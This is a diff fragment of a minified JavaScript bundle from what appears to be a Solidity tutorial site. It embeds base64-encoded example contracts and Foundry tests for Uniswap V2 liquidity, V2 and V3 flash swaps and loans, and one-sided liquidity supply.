liquidity",Eb="",Qb=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9CiAgICAgICAgMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTRFQgPSAweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzc7CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgX3Rva2VuQSwKICAgICAgICBhZGRyZXNzIF90b2tlbkIsCiAgICAgICAgdWludDI1NiBfYW1vdW50QSwKICAgICAgICB1aW50MjU2IF9hbW91bnRCCiAgICApIGV4dGVybmFsIHsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5BKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVUcmFuc2ZlckZyb20oSUVSQzIwKF90b2tlbkIpLCBtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50Qik7CgogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5BKSwgUk9VVEVSLCBfYW1vdW50QSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKF90b2tlbkIpLCBST1VURVIsIF9hbW91bnRCKTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSkgPSBJVW5pc3dhcFYyUm91dGVyKAogICAgICAgICAgICBST1VURVIKICAgICAgICApLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgX2Ftb3VudEEsCiAgICAgICAgICAgIF9hbW91bnRCLAogICAgICAgICAgICAxLAogICAgICAgICAgICAxLAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eShhZ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ldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcwogICAgICAgICAgICAgICAgJiYgKHJldHVybkRhdGEubGVuZ3RoID09IDAgfHwgYWJpLmRlY29kZShyZXR1cm5EYXRhLCAoYm9vbCkpKSwKICAgICAgICAgICAgIlRyYW5zZmVyIGZyb20gZmFpbCIKICAgICAgICApOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgYXBwcm92ZSBmdW5jdGlvbiBtYXkgb3IgbWF5IG5vdCByZXR1cm4gYSBib29sLgogICAgICogVGhlIEVSQy0yMCBzcGVjIHJldHVybnMgYSBib29sLCBidXQgc29tZSB0b2tlbnMgZG9uJ3QgZm9sbG93IHRoZSBzcGVjLgogICAgICogTmVlZCB0byBjaGVjayBpZiBkYXRhIGlzIGVtcHR5IG9yIHRydWUuCiAgICAgKi8KICAgIGZ1bmN0aW9uIHNhZmVBcHByb3ZlKElFUkMyMCB0b2tlbiwgYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBpbnRlcm5hbAogICAgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC5hcHByb3ZlLCAoc3BlbmRlciwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJBcHByb3ZlIGZhaWwiCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQyNTYgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludDI1NiBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50QiwgdWludDI1NiBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjU2IGxpcXVpZGl0eSwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50Qik7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4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ByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlQXBwcm92ZShJRVJDMjAgdG9rZW4sIGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpCiAgICAgICAgaW50ZXJuYWwKICAgIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgcmV0dXJuRGF0YSkgPSBhZGRyZXNzKHRva2VuKS5jYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbChJRVJDMjAuYXBwcm92ZSwgKHNwZW5kZXIsIGFtb3VudCkpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBzdWNjZXNzCiAgICAgICAgICAgICAgICAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],Tb=`

                    Add / Remove Liquidity

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -6023,7 +6023,7 @@ IERC20 constant PAIR Uniswap V2 Flash Swap Example
                    +
                    `,Ub=({prev:s,next:a})=>r.jsx(A,{version:Jb,title:zb,description:Db,cyfrinLink:Eb,html:Tb,prev:s,next:a,codes:Qb}),Lb="0.8.26",_b="Uniswap V2 Flash Swap",Ob="Uniswap V2 flash swap",Pb="",$b=[{fileName:"UniswapV2FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJVW5pc3dhcFYyQ2FsbGVlIHsKICAgIGZ1bmN0aW9uI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NvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXBUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CgogICAgVW5pc3dhcFYyRmxhc2hTd2FwIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkZsYXNoU3dhcCgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgZnVuY3Rpb24gdGVzdEZsYXNoU3dhcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIC8vIEFwcHJvdmUgZmxhc2ggc3dhcCBmZWUKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRUb0JvcnJvdyA9IDEwICogMWUxODsKICAgICAgICB1bmkuZmxhc2hTd2FwKGFtb3VudFRvQm9ycm93KTsKCiAgICAgICAgYXNzZXJ0R3QodW5pLmFtb3VudFRvUmVwYXkoKSwgYW1vdW50VG9Cb3Jyb3cpOwogICAgfQp9Cg=="}],qb=`

                    Uniswap V2 Flash Swap Example

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -6161,7 +6161,7 @@ IERC20 constant PAIR Foundry

                    Uniswap V3 Foundry example

                    -`,qb=({prev:s,next:a})=>r.jsx(A,{version:Ub,title:_b,description:Lb,cyfrinLink:Ob,html:$b,prev:s,next:a,codes:Pb}),sw="0.8.26",aw="Uniswap V2 Optimal One Sided Supply",nw="Uniswap V2 Optimal One Sided Supply",lw="",pw=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4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3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],ew=`

                    Optimal One Sided Supply

                    +`,sw=({prev:s,next:a})=>r.jsx(A,{version:Lb,title:_b,description:Ob,cyfrinLink:Pb,html:qb,prev:s,next:a,codes:$b}),aw="0.8.26",nw="Uniswap V2 Optimal One Sided Supply",lw="Uniswap V2 Optimal One Sided Supply",pw="",ew=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgUk9VVEVSID0gMHg3YTI1MGQ1NjMwQjRjRjUzOTczOWRGMkM1ZEFjYjRjNjU5RjI0ODhEOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICA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DMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],cw=`

                    Optimal One Sided Supply

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -6309,7 +6309,7 @@ IERC20 constant PAIR external
                             returns (bool);
                     }
                    -
                    `,cw=({prev:s,next:a})=>r.jsx(A,{version:sw,title:aw,description:nw,cyfrinLink:lw,html:ew,prev:s,next:a,codes:pw}),tw="0.8.26",ow="Uniswap V3 Flash Loan",rw="Uniswap V3 Flash Loan",iw="",gw=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludDI1NiBhbW91bnQwOwogICAgICAgIHVpbnQyNTYgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwcml2YXRlIGltbXV0YWJsZSB0b2tlbjE7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfcG9vbCkgewogICAgICAgIHBvb2wgPSBJVW5pc3dhcFYzUG9vbChfcG9vbCk7CiAgICAgICAgdG9rZW4wID0gSUVSQzIwKHBvb2wudG9rZW4wKCkpOwogICAgICAgIHRva2VuMSA9IElFUkMyMChwb29sLnRva2VuMSgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoewogICAgICAgICAgICAgICAgYW1vdW50MDogYW1vdW50MCwKICAgICAgICAgICAgICAgIGFtb3VudDE6IGFtb3VudDEsCiAgICAgICAgICAgICAgICBjYWxsZXI6IG1zZy5zZW5kZXIKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wpLmZsYXNoKGFkZHJlc3ModGhpcyksIGFtb3VudDAsIGFtb3VudDEsIGRhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuaXN3YXBWM0ZsYXNoQ2FsbGJhY2soCiAgICAgICAgLy8gUG9vbCBmZWUgeCBhbW91bnQgcmVxdWVzdGVkCiAgICAgICAgdWludDI1NiBmZWUwL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IGRhaS5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0ucHJhbmsodXNlcik7CiAgICAgICAgdW5pLmZsYXNoKDFlNiAqIDFlMTgsIDApOwogICAgICAgIHVpbnQyNTYgZGFpX2FmdGVyID0gZGFpLmJhbGFuY2VPZih1c2VyKTsKCiAgICAgICAgdWludDI1NiBmZWUgPSBkYWlfYmVmb3JlIC0gZGFpX2FmdGVyOwogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],hw=`

                    Uniswap V3 Flash Loan Example

                    +
                    `,tw=({prev:s,next:a})=>r.jsx(A,{version:aw,title:nw,description:lw,cyfrinLink:pw,html:cw,prev:s,next:a,codes:ew}),ow="0.8.26",rw="Uniswap V3 Flash Loan",iw="Uniswap V3 Flash Loan",gw="",hw=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludDI1NiBhbW91bnQwOwogICAgICAgIHVpbnQyNTYgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwcml2YXRlIGltbXV0YWJsZSB0b2tlbjE7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfcG9vbCkgewogICAgICAgIHBvb2wgPSBJVW5pc3dhcFYzUG9vbChfcG9vbCk7CiAgICAgICAgdG9rZW4wID0gSUVSQzIwKHBvb2wudG9rZW4wKCkpOwogICAgICAgIHRva2VuMSA9IElFUkMyMChwb29sLnRva2VuMSgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoewogICAgICAgICAgICAgICAgYW1vdW50MDogYW1vdW50MCwKICAgICAgICAgICAgICAgIGFtb3VudDE6IGFtb3VudDEsCiAgICAgICAgICAgICAgICBjYWxsZXI6IG1zZy5zZW5kZXIKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wpLmZsYXNoKGFkZHJlc3ModGhpcyksIGFtb3VudDAsIGFtb3VudDEsIGRhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuaXN3YXBWM0ZsYXNoQ2FsbGJhY2soCiAgICAgICAgLy8gUG9vbCBmZWUgeCBhbW91bnQgcmVxdWVzdGVkCiAgICAgICAgdWludDI1NiBmZWUwLAogICAgICAgIHVpbnQyNTYgZmVlMSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gYWRkcmVzcyhwb29sKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIEZsYXNoQ2FsbGJhY2tEYXRhIG1lbW9yeSBkZWNvZGVkID0gYWJpLmRlY29kZShkYXRhLCAoRmxhc2hDYWxsYmFja0RhdGEpKTsKCiAgICAgICAgLy8gV3JpdGUgY3VzdG9tIGNvZGUgaGVyZQogICAgICAgIGlmIChmZWUwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXJGcm9tKGRlY29kZWQuY2FsbGVyLCBhZGRyZXNzKHRoaXMpLCBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cm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RUUgPSAzMDAwOwoKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pOwogICAgYWRkcmVzcyBjb25zdGFudCB1c2VyID0gYWRkcmVzcygxMSk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHVuaSA9IG5ldyBVbmlzd2FwVjNGbGFzaChQT09MKTsKCiAgICAgICAgZGVhbChEQUksIHVzZXIsIDFlNiAqIDFlMTgpOwogICAgICAgIHZtLnByYW5rKHVzZXIpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2goKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgZGFpX2JlZm9yZSA9IGRhaS5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0ucHJhbmsodXNlcik7CiAgICAgICAgdW5pLmZsYXNoKDFlNiAqIDFlMTgsIDApOwogICAgICAgIHVpbnQyNTYgZGFpX2FmdGVyID0gZGFpLmJhbGFuY2VPZih1c2VyKTsKCiAgICAgICAgdWludDI1NiBmZWUgPSBkYWlfYmVmb3JlIC0gZGFpX2FmdGVyOwogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],Iw=`

                    Uniswap V3 Flash Loan Example

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -6432,7 +6432,7 @@ IERC20 constant PAIR "DAI fee", fee);
                         }
                     }
                    -
                    `,Iw=({prev:s,next:a})=>r.jsx(A,{version:tw,title:ow,description:rw,cyfrinLink:iw,html:hw,prev:s,next:a,codes:gw}),dw="0.8.26",Cw="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cmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIC8vIDAgLT4gMSA9PiBzcXJ0IHByaWNlIGRlY3JlYXNlCiAgICAgICAgLy8gMSAtPiAwID0+IHNxcnQgcHJpY2UgaW5jcmVhc2UKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2ID0KICAgICAgICAgICAgemVyb0Zvck9uZSA/IE1JTl9TUVJUX1JBVElPICsgMSA6IE1BWF9TUVJUX1JBVElPIC0gMTsKCiAgICAgICAgYnl0ZXMgbWVtb3J5IGRhdGEgPSBhYmkuZW5jb2RlKAogICAgICAgICAgICBtc2cuc2VuZGVyLCBwb29sMCwgZmVlMSwgdG9rZW5JbiwgdG9rZW5PdXQsIGFtb3VudEluLCB6ZXJvRm9yT25lCiAgICAgICAgKTsKCiAgICAgICAgSVVuaXN3YXBWM1Bvb2wocG9vbDApLnN3YXAoewogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIHplcm9Gb3JPbmU6IHplcm9Gb3JPbmUsCiAgICAgICAgICAgIGFtb3VudFNwZWNpZmllZDogaW50MjU2KGFtb3VudEluKSwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgICAgICBkYXRhOiBkYXRhCiAgICAgICAgfSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdElucHV0U2luZ2xlUGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICBmZWU6IGZlZSwKICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNTd2FwQ2FsbGJhY2soCiAgICAgICAgaW50MjU2IGFtb3VudDAsCiAgICAgICAgaW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gRGVjb2RlIGRhdGEKICAgICAgICAoCiAgICAgICAgICAgIGFkZHJlc3MgY2FsbGVyLAogICAgICAgICAgICBhZGRyZXNzIHBvb2wwLAogICAgICAgICAgICB1aW50MjQgZmVlMSwKICAgICAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuT3V0LAogICAgICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgICAgICBib29sIHplcm9Gb3JPbmUKICAgICAgICApID0gYWJpLmRlY29kZSgKICAgICAgICAgICAgZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQyNCwgYWRkcmVzcywgYWRkcmVzcywgdWludDI1NiwgYm9vbCkKICAgICAgICApOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IHplcm9Gb3JPbmUgPyB1aW50MjU2KC1hbW91bnQxKSA6IHVpbnQyNTYoLWFtb3VudDApOwoKICAgICAgICAvLyBwb29sMCAtPiB0b2tlbkluIC0+IHRva2VuT3V0IChhbW91bnRPdXQpCiAgICAgICAgLy8gU3dhcCBvbiBwb29sIDEgKHN3YXAgdG9rZW5PdXQgLT4gdG9rZW5JbikKICAgICAgICB1aW50MjU2IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuT3V0LAogICAgICAgICAgICB0b2tlbk91dDogdG9rZW5JbiwKICAgICAgICAgICAgZmVlOiBmZWUxLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRPdXRNaW46IGFtb3VudEluCiAgICAgICAgfSk7CgogICAgICAgIC8vIFJlcGF5IHBvb2wgMAogICAgICAgIHVpbnQyNTYgcHJvZml0ID0gYnV5QmFja0Ftb3VudCAtIGFtb3VudEluOwogICAgICAgIHJlcXVpcmUocHJvZml0ID4gMCwgInByb2ZpdCA9IDAiKTsKCiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKHBvb2wwLCBhbW91bnRJbik7CiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKGNhbGxlciwgcHJvZml0KTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyMDIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyN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U3dhcCA9IG5ldyBVbmlzd2FwVjNGbGFzaFN3YXAoKTsKCiAgICAgICAgLy8gQ3JlYXRlIGFuIGFyYml0cmFnZSBvcHBvcnR1bml0eSAtIG1ha2UgV0VUSCBjaGVhcGVyIG9uIHBvb2wwCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiA1MDAgKiA